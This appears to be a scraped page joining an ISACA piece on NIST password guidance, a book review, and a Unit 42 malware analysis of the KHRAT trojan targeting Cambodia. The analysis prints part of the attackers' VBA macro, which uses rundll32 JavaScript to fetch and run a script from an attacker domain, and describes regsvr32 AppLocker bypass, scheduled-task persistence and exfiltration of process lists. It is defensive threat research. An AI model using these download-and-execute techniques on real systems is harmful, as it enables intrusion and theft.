Many of us are creatures of habit, and changing our ways can be difficult. It is much easier to do so, however, when the new way is more convenient – not to mention more secure – than the old method.
That’s just the case with the new password guidance from NIST, released in June. The guidance calls for longer phrases that are easier to remember, as opposed to use of special characters, blends of uppercase and lowercase letters, and frequent password resets – all hallmarks of NIST’s previous, well-entrenched password guidance.
This move toward improved usability was not done at the cost of sound security. In fact, the creator of NIST’s previous direction on passwords, Bill Burr, acknowledged to The Wall Street Journal that the older guidance was “barking up the wrong tree,” and not based on the caliber of data that he would have preferred. The new password guidance will make for passwords that are actually more difficult to hack.
While NIST’s new guidance figures to be well-received, raising awareness is the short-term challenge.
An ISACA micro-poll, conducted just after NIST’s announcement, showed that the majority of the respondents – audit and security professionals at organizations with more than 5,000 employees – were unaware of the new guidance, and consequently unsure how quickly it could be implemented. While those results are no surprise given how fresh the guidance is, it reinforces that there is much awareness-spreading to be done – including at ISACA. We have a range of opportunities to support NIST’s guidance by updating the training and education materials we offer our professional community, as well as reinforcing the change at ISACA conferences and through our exam procedures.
At the enterprise level, changing password policies is a necessary first step before implementation. Otherwise, enterprises will be implementing password procedures that may contradict existing policies, which could cause headaches when external auditors flag the disconnect.
Emphasizing multifactor authentication is another important piece of the puzzle. The majority of respondents to ISACA’s poll indicated that less than half of their applications require two or multifactor authentication – a practice that should be adopted more widely and is strongly advocated by NIST. Multifactor authentication should be more accessible than ever given the advancement of fingerprint and facial recognition technology. Even when multifactor authentication is in use, NIST’s new password guidance remains relevant, since passwords often are among the factors being used.
We are in the early stages of what will be a major course correction on passwords. NIST’s previous guidance is heavily entrenched, with 95% of respondents to ISACA’s poll indicating their enterprise adheres to practices such as frequently causing passwords to expire and requiring passwords to contain lower and uppercase letters, numbers or special symbols. Users on the other hand, have frequently complained about the difficulty of remembering complex passwords and having to cope with expired passwords. Chances are they will welcome this more user-friendly NIST guidance.
The level of buy-in for the previous NIST password guidance did not happen overnight, and it will not be the case this time, either. But given the opportunity to simultaneously improve security and alleviate password frustrations of the status quo, it only is a matter of time before NIST’s new guidance gains widespread momentum.
Editor’s note:For additional ISACA resources related to NIST’s new password guidance, see our analysis brief and a related PowerPoint deck.
Robert Clyde, CISM, Vice-Chair of ISACA’s Board of Directors, Managing Director of Clyde Consulting LLC
We modeled the Cybersecurity Canon after the Baseball or Rock & Roll Hall-of-Fame, except for cybersecurity books. We have more than 25 books on the initial candidate list, but we are soliciting help from the cybersecurity community to increase the number to be much more than that. Please write a review and nominate your favorite.
The Cybersecurity Canon is a real thing for our community. We have designed it so that you can directly participate in the process. Please do so!
Executive Summary
Guiora’s book Cybersecurity: Geopolitics, Law, and Policy takes a broad, strategic view of cybersecurity. It may serve as a general education for newcomers to the world of cybersecurity, but it is likely of little educational value to those already familiar with operating in the cyber realm. Its consistent identification of cybersecurity as a “risk” may both distract and confuse readers, detracting from the overall value of the book.
Review
Cybersecurity: Geopolitics, Law, and Policy begins with a “shock and awe” chapter, apparently intended to jolt the reader into wanting to know more about the broad nature of the cyberthreat. It then enters into a summary of the chapters to follow, which is a good idea in that it prepares the reader for the ideas to come in the later, substantive chapters. The substantive chapters cover topics such as the definition of cybersecurity, geopolitics, policy, and corporate, individual, and law enforcement responses to the cyberthreat.
In his substantive chapters, Guiora brings up a number of important concepts that drive cybersecurity at a very high strategic level. These include the tension or balance between privacy, individual rights and liberties, and cybersecurity; the need for cooperation in the federal, state, local and international arenas; and the impossibility of 100 percent prevention of cyberattacks. Unfortunately, the chapters themselves tend to be very broad and bleed into each other, rather than addressing the discrete topic of the chapter headings. There is a strong reliance on single interactions with professionals and other experts in the field as a basis for broad conclusions about the current state of cybersecurity efforts. While the book does a good job of identifying things that should be done to improve cybersecurity at the corporate, policy, law enforcement and individual levels, it has little specific guidance about how to implement those suggestions through current organizations and processes.
Throughout his book, Guiora addresses cybersecurity as a risk or danger to be mitigated. This is confusing, as cybersecurity isn’t a risk or danger to anyone except maybe malicious cyber actors, such as hackers. The consistent treatment of cybersecurity as something that needs to be stopped or mitigated, including a final chapter about how law enforcement “mitigate[s] cybersecurity,” detracts from the valid ideas in the book. From the start of his book, Guiora tells the reader that his background is most heavily focused on the threat of conventional terrorism. While he accurately notes that there are solid parallels between terrorism, cyberterrorism, and cybercrime, the three ideas and terms tend to be used interchangeably throughout the book, which can be confusing. In the end, Cybersecurity: Geopolitics, Law, and Policylooks like a book written about terrorism, adapted to cyberterrorism, and then adapted to cybercrime.
Conclusion
Cybersecurity: Geopolitics, Law, and Policy offers broad coverage of strategic aspects of cybersecurity in the modern age. It identifies the key topics that dominate cybersecurity today. However, the continued treatment of cybersecurity as a risk, problem or threat is a confusing message for newcomers to the cybersecurity arena.
Unit 42 recently observed activity involving the Remote Access Trojan KHRAT used by threat actors to target the citizens of Cambodia.
So called because the Command and Control (C2) infrastructure from previous variants of the malware was located in Cambodia, as discussed by Roland Dela Paz at Forecpoint here, KHRAT is a Trojan that registers victims using their infected machine’s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.
This report covering contemporary variants of KHRAT, discusses updated techniques and a recent attack affecting Cambodians, including:
Updated spear phishing techniques and themes;
Multiple techniques to download and execute additional payloads using built-in Windows applications;
Expanded infrastructure mimicking the name of the well-known cloud-based file hosting service, Dropbox;
Compromised Cambodian government servers.
In its various forms, including document files, executables and dynamic link libraries, KHRAT is not very prevalent with just over fifty network sessions seen across our sensors since the start of the year, with a slight uptick
visible in the last couple of months.
Attack Delivery
On June 21, 2017, a Word document was uploaded to Wildfire, determined to be malicious and visible in Autofocus with some interesting malicious behavior tags, namely AppLockerBypass, CreateScheduledTask and RunDLL32_JavaScript_Execution, a private tag contributed by Squadra Solutions. There were also some indications this file was related to the actors using KHRAT malware.
The weaponized document (SHA256: c51fab0fc5bfdee1d4e34efcc1eaf4c7898f65176fd31fd8479c916fa0bcc7cc), with the filename “Mission Announcement Letter for MIWRMP phase 3 implementation support mission, June 26-30, 2017(update).doc”, was shown in AutoFocus as contacting a Russian IP address 194.87.94[.]61 over port 80 in the form of a HTTP GET request to update.upload-dropbox[.]com – a site that could (erroneously) be thought of as belonging to the well-known cloud-based file hosting service, Dropbox, and as such is intended to trick victims and network defenders into thinking, at least at first glance, the C2 traffic is legitimate.
The acronym MIWRMP refers to the Mekong Integrated Water Resources Management Project – a multi-million dollar, World Bank funded project relating to effective water resource and fisheries management in North Eastern Cambodia, which happens to be in its third phase – matching the document’s filename. Again, the attackers took steps to make the malware appear to be a legitimate file.
Figure 1 below shows the document, together with the social engineering techniques employed to lead the victim into enabling the macro content and running the VBA code. For all intents and purposes this is a Word document, especially considering the file extension, however, underneath it’s a multipart MIME file that could also be treated as XML.
Such files are often created when saving Microsoft Office content as MHTML (MIME HTML) files – a web page archive format used to combine in a single document the HTML code and its companion resources objects – or, when sending a HTML messages using very old versions of Outlook, but is by no means a new technique.
For more details about this format, which includes the OLE document and its macros in a zlib-compressed, base-64 encoded data part, please refer to the appendix further down.
Figure 1: Weaponized Word document referring to MIWRMP phase 3
Once Word has rendered the document, and the macro content has been enabled, the VBA code, which exists as part of the “Open” macro, will run automatically.
Immediately the victim would see the document contents change to display, simply, “Because your Office version isn’t compatible with the document, it can’t be opened, according to the prompts to open the compatibility mode and then you can continue to view the document.”, as shown in Figure 2 below.
Figure 2: Word document contents post VBA macro execution
Perhaps conducted as a distraction technique making the victim believe there truly is a compatibility issue. This could be the perception, especially considering nothing untoward happens elsewhere on the system.
The VBA code from the document’s macro, shown in Figure 3 below, describes the malicious behavior. Line 6 of the code creates a new scheduled task using the CLI program schtasks.exe (CreateScheduledTask) together with the associated parameters, including rundll32.exe and JavaScript parameters (RunDLL32_JavaScript_Execution), which is a known method for tricking rundll32.exe into loading the mshtml.dll library, calling the exported function RunHTMLApplication, and having it execute the subsequent JavaScript code. We will cover this in more detail later on.
The AutoFocus tag CreateScheduledTask indicates that a given application, irrespective of malicious classification, is capable of created tasks for the Windows scheduler to execute. This is often used by malware for maintaining persistence or in some cases to aid spreading throughout a network using remote hosts’ scheduler to execute payloads. Since the start of this year this behavior has been seen very consistently during dynamic analysis of malware, averaging over three thousand malicious sessions per day containing malware using this technique, and spiking towards the end of July, as per the sparkline chart above, to between twenty and forty thousand sessions each day in one week.
Throughout the year the number of malware samples exhibiting the behavior relating to the RunDLL32_JavaScript_Execution AutoFocus tag has been seen much, much smaller compared to CreateScheduledTask. Averaging about one malicious session per day – in reality small groups of samples in the same day or week, spread over the year – this technique was last seen around the date of the KHRAT activity discussed in this report.
As mentioned previously, AutoFocus also tagged the document file as exhibiting a malicious behavior named “AppLockerBypass”, which relates to a technique discovered last year, whereby regsvr32.exe – a command-line tool that registers .DLL files as command components in the Windows registry – can download and execute scripts within XML files hosted on URLs. This technique works on many versions of Windows Operating System and, because regsvr32.exe is a whitelisted, trusted binary on the Windows, it can be used to download and execute programs that would otherwise be prevented by AppLocker policies or rules. Line 7 of the code performs this activity.
“”“rundll32 javascript:\””\..\mshtml,RunHTMLApplication\““;document.write();try{GetObject(\””script:http://update.upload-dropbox[.]com/images/rtf/logo33_bak.ico\””);}catch(e){};window.close()””” & _
office_text=“Because your Office version isn’t compatible with the document, it can’t be opened, according to the prompts to open the compatibility mode and then you can continue to view the document.”
ActiveDocument.Range.Text=office_text
EndSub
Figure 3: VBA Macro code from the weaponised document
At the time of writing logo33_bak.ico and logo33.ico files referenced in the VBA macro code were unavailable and, as of now, it’s not known exactly their contents or purpose, however, judging by other .ico files downloaded in similar ways from related components of KHRAT malware, it’s fair to assume they would include methods to add further persistence to the actor’s attack, or install further payloads towards their objectives.
During dynamic analysis of this malicious document, and downloaded payloads, in our Wildfire sandbox, modifications were also made to the Windows registry. Specifically, the MRU (Most Recently Used) list of documents opened using Microsoft Word was updated such that all items referenced each of the filenames listed below. This would mean that should the victim load any documents from their most recently used document list, Word would open the malicious document again.
QQYXDK0tQH.docm
MGm.docx
9sxAwWnA.docm
8Y0kVy.doc
W4.docm
oDF.docx
Mk3tj.doc
77ajEQp0fn.docx
eSjo0J.doc
bp8OB7.docx
Y.docx
pjuhm0HWeKE.doc
WktDOjyzu.docm
The registry key modified is shown below where <version> would relate to the version of office installed, e.g. 14.0, and <number> would relate to the most recent document list. In the case of KHRAT the first 14 MRU items were updated:
Pivoting using the data points discussed thus far, such as the domain name update.upload-dropbox[.]com, the Russian IP address, or indeed the registrant email address for the domain – the misspelt mail.noreoly@gmail[.]com – provide an insight into the initial infrastructure supporting this campaign. Figure 4 below shows this infrastructure with some key points numbered.
Sample (1) relates to the document, described earlier in this report, and shows the connection to the domain update.upload-dropbox[.]com, also previously discussed, as well as to the Russian IP address 194.87.94[.]61. Figure 4 below shows another (2) sample’s connection to the update.upload-dropbox[.]com domain, and also as having been hosted on the compromised Cambodian Government’s website, redacted in the figure.
Figure 4: Initial infrastructure relating to fake Dropbox sites
Additional research into upload-dropbox[.]com uncovered samples beaconing to third levels of both it and inter-ctrip[.]com, as well as PDNS overlaps between multiple third levels of each domain. inter-trip[.]com has previously been reported as a C2 related to this activity. As with the fake drobox domain intended to trick victims and defenders by closely mimicking a legitimate website, the actor-registered inter-ctrip[.]com is very similar to two legitimate travel websites, ctrip.com and intertrips.com. Ctrip is a China-based travel provider, while InterTrips is a US-based travel provider focusing on travel to Asia. While researching the infrastructure we also found an additional malicious domain not previously reported, vip53[.]cn. As with the aforementioned two domains, it is actor-registered and has multiple third level domains being used as C2s.
All of the IPs to which these C2 domains resolved, when it was possible to identify the owner, are tied to either VPS providers or legitimate but compromised infrastructure. In two cases we were able to identify what appear to be compromised wireless devices, with one in Vietnam and one in Singapore.
Installation & Persistence
KHRAT Dropper
Sample (2) (SHA256:53e27fd13f26462a58fa5587ecd244cab4da23aa80cf0ed6eb5ee9f9de2688c1) is a very small – 2,560 byte – Portable Executable (PE) file hosted on the compromised government servers, and downloaded in web-browsing sessions by organizations based in Cambodia. According to AutoFocus, these sessions indicated the EXE filename was either ‘news’ or ‘logo’ and, in both cases, the extension was ‘.jpg’.
The Microsoft Visual C++ compiled program ‘news.jpg’ simply calls the WinExec Windows API to launch another application – regsvr32.exe – passing the parameters shown in Figure 5 below, before exiting. As you can imagine, such activity is tagged in AutoFocus, just like the document sample exhibiting the same behavior, as “AppLockerBypass”.
Figure 5: news.jpg code to execute regsvr32.exe with malicious XML/VBS script.
This variant of KHRAT runs regsvr32.exe using the ‘/I’ option to pass a command line – the URL in this case – as a parameter when registering scrobj.dll – Microsoft’s Script Component Runtime. Regsvr32.exe will download logo.ico – an XML registration script – from update.upload-dropbox[.]com. The contents of logo.ico includes a VBS script to harvest a list of running processes from the system using the Windows Management Instrumentation (WMI). This list is then sent as a HTTP POST to the PHP script http://update.upload-dropbox[.]com/docs/tz/GetProcess.php. At the time of writing, this POST provided no response from the server and may have been simply for further reconnaissance and information gathering, or to provide further payloads. For more information about this logo.ico, please see the “Reconnaissance” appendix.
Another component related to the campaign is sample (4) (SHA256: c0baa57cbb66b8a86aac7d4eeab7a0dc1ecfb528d8e92a45bdb987d1cd5cb9b2) shown in Figure 4 above. This PE executable attempts to download http://update.upload-dropbox[.]com/images/flash/index.ico, which is shown in Figure 6 below, highlighting their consistent use of techniques to remain persistent and download further malicious components.
Figure 6: index.ico downloaded by another KHRAT component
Index.ico would create three scheduled tasks with the more subtly named “Windows Scheduled Maintenance1” (Maintenance2 and Maintenance3), although three services with incremented numbers in their names is also a little suspicious, and use regsvr32.exe to download and execute three other .ico files – reg.ico, reg_salt.ico and reg_bak.ico – the purposes of which are currently unknown. It’s worth noting each service has different running frequencies – every 4 minutes, 20 minutes and 10 minutes, respectively, which could indicate a dependency on reg.ico, as it is more aggressively sought after, or that is a more critical component to have running.
The VBS Script code in index.ico, shown in Figure 6, performs one final command that abuses the aforementioned trick of rundll32.exe to attempt to download run.ico from http://update.upload-dropbox[.]com/images/flash. Unfortunately, all four of these .ico files are unavailable at the time of writing.
KHRAT DLL
At the time of writing a DLL component was not downloaded and executed, however, AutoFocus makes it clear, as shown in Figure 7, that during the Wildfire detonation of one of the droppers in June, a DLL component is present and called using rundll32.exe (as it was intended this time) to run the DLL – WIN.DAT – passing the parameters K1 or K3 depending on the function required by the caller.
Figure 7: Wildfire detonation results showing KHRAT DLL being called.
Furthermore, the registry activity gathered from Wildfire indicates a persistence mechanism whereby the DLL will be loaded via a Registry Run key, passing K1 as the parameter, as shown in Figure 8 below.
Figure 8: Wildfire detonation results showing persistence mechanism using the registry
Although no DLL sample was available at the time of writing, sample (3) (SHA256: de4ab35a2de67832298f5eb99a9b626a69d1beca78aaffb1ce62ff54b45c096a), shown in Figure 4, is a DLL that has been linked to the campaign and had been seen in Wildfire exhibiting behaviors as described here.
Chinese Developer Network click-tracker
During investigation of the KHRAT dropper code responsible for sending process lists to http://update.upload-dropbox[.]com/docs/tz/GetProcess.php, I reviewed some of the responses and content received. Working my way from the root of the site backwards to the GetProcess.php script I encountered a mixture of HTTP 500 – Internal Server Error and HTTP 403 – Forbidden messages from the server, however, when browsing the root of the /tz/ folder, I noticed an interesting one-line HTML code snippet loading a JavaScript from http://doc.upload-dropbox[.]com/docs/tz/probe_sl.js.
The JavaScript code in probe_sl.js uses a click-tracking technique, presumably so the actors can monitor who is visiting their site. It may also be an attempt to control the distribution of later stage malware and tools, by only sending it in response to requests from desired victims or vulnerable systems, and dropping requests from others such as researchers. The data gathered by the code includes the user-agent, domain, cookie, referrer and flash version, which are sent in a HTTP GET request to probe_sl.php, a PHP script located in the same folder as the JavaScript on the server.
Interestingly the JavaScript code appears almost identical to that found on a blog hosted on the Chinese Software Developer Network (CSDN) website. The blog, entitled “XSS信息刺探脚本” (translation: XSS information spying script) and written by eT48_Sec, provides not only the JavaScript code to gather the tracking information but also the PHP server-side code to receive and save the information to disk. The HTML-formatted contents of the file containing the tracked information, entitled “Sensitive Information”, would look like the example shown in Figure 9 below. For more information about the code used in this click-tracker, please see the “CSDN Click Tracker” appendix.
Figure 9: data.html from the actor’s server, as viewed in a web-browser
Conclusion
The threat actors behind KHRAT have evolved the malware and their TTPs over the course of this year, in an attempt to produce more successful attacks, which in this case included targets within Cambodia.
This most recent campaign highlights social engineering techniques being used with reference and great detail given to nationwide activities, likely to be forefront of peoples’ minds; as well as the new use of multiple techniques in Windows to download and execute malicious payloads using built-in applications to remain inconspicuous which is a change since earlier variants.
Other notable actions by the threat actors included updated infrastructure purporting to be part of either the well-known cloud-based company, Dropbox, or a travel agency, likely to appear genuine, masquerading traffic under the premise of other applications to communicate with the attack infrastructure, some of which included compromised Cambodian Government servers. The attackers use of the click-tracking software on their C2 domain lets them track both intended victims and researchers who have discovered the activity, which is not something we have found to date in use by many groups.
We believe this malware, the infrastructure being used, and the TTPs highlight a more sophisticated threat actor group, which we will continue to monitor closely and report on as necessary.
Palo Alto Networks customers are protected and may learn more via the following:
Samples are classified as malicious by WildFire and Traps prevents their execution.
Domains and IPs have been classified as malicious and IPS signatures generated.
As mentioned earlier, the delivery document contained VBA code (Figure 3) to download and install further malicious payloads using AppLockerBypass and RunDLL32_JavaScript_Execution techniques, abusing built-in, trusted Microsoft applications.
The document, as shown in Figure 10, is multipart MIME file created when saving Microsoft Office content as MHTML (MIME HTML) files – a web page archive format used to combine in a single document the HTML code and its companion resources.
Figure 10: multipart MIME Document format
Embedded files, such as the images in the document itself, are stored in MIME as base64 encoded data. The most interesting of all the encoded data sections, representing the original OLE Document and associated VBA macros, is the one shown in Figure 11 – editdata.mso. The MSO file type is created when saving an Office document as a webpage, and the data is base64 encoded.
Figure 11: MSO object containing the OLE Document and VBA macros.
Figure 12 below shows the base64 content decoded to reveal the ActiveMime wrapper, which is ZLIB compressed, as per the magic bytes at offset 0x32. Once decompressed, the traditional OLE object and header (0xD0CF1LE0), as shown in Figure 13, is revealed.
Figure 12: ActiveMime ZLIB wrapper
Figure 13: Decompressed data showing the OLE object.
The VBA macro code performs several functions, the first of which is to create a scheduled task, as show in Figure 14 below. The task will launch rundll32.exe every 10 minutes, indefinitely, passing similar parameters as discussed earlier to have rundll32.exe execute JavaScript code to download and execute the contents of http://update.upload-dropbox[.]com/images/rtf/logo33_bak.ico.
Figure 14: Windows Task Scheduler showing the malicious task
Reconnaissance
After execution, the dropper executable, as shown in Figure 5, uses the AppLockerBypass technique to download and execute the XML content shown below in Figure 15. The XML content contains VBScript code capable of enumerating all running processes and sending the resultant information to a PHP script on a remote host.
All process names enumerated are stored in a newline-delimited (Chr(13) and Chr(10)) string object where each line is padded with spaces (Chr(32)). The text list is then transmitted over a HTTP POST to a PHP script hosted at the following location: http://update.upload-dropbox[.]com/docs/tz/GetProcess.php. Note also that the final line of the VBS code in Figure 15 shows a commented-out debug statement to print the response text from POST request. During investigation, the response from the server appeared to be blank.
Figure 16 below shows the contents of the JavaScript, which gathers information from the web-browser visiting the site including the referring URL, flash version, cookie, domain and the user agent. The collected information is transmitted to another PHP script via a HTTP GET request.
As mentioned earlier, the JavaScript click-tracking code in Figure 16, appeared to be identical to that published to the Chinese Software Developer Network in China. Figure 17 below shows that only a few minor differences exist between the blog code and the code downloaded from the actor’s website. Having adjusted some minor white-space character differences, and converted the blog’s code from Linux line-ending format (LF) to Windows format (CRLF), to match that of the actors, the only differences are:
1. A different URL to send the HTTP GET request 2. An additional data point – referrer – to collect information about where the visitor came from before hitting their site. 3. Updates to the URL query string:
a.The addition of the new referrer information. b. Fixing a bug in the author’s code whereby the flash variable, which relates to the version of flash the visitor has installed in their web-browser, was omitted from the query string.
Figure 17: JavaScript click-tracking code diff vs a CSDN blog
The CSDN blog post also included PHP code, shown in Figure 18, capable of receiving the HTTP GET request from the click-tracking JavaScript code and persisting it to data.html on the web server.
Figure 18: PHP code to save the click-tracking information
Unable to see the contents of the PHP code on the actor’s server, but assuming they copied the code from CSDN, I checked for the presence of data.html, which existed. Furthermore, it had the exact structure the PHP code in Figure 18 would have created.
Interestingly however, two crucial updates made to the JavaScript click-tracking seem not to have been implemented in the actor’s PHP code yet, namely difference 2. and 3 shown in Figure 17. Yet the actors did manage to fix a spelling mistake in the CSDN blog’s code, by updating the print statement User_Agetn to User_Agent. Figure 19 below shows an output data.html example.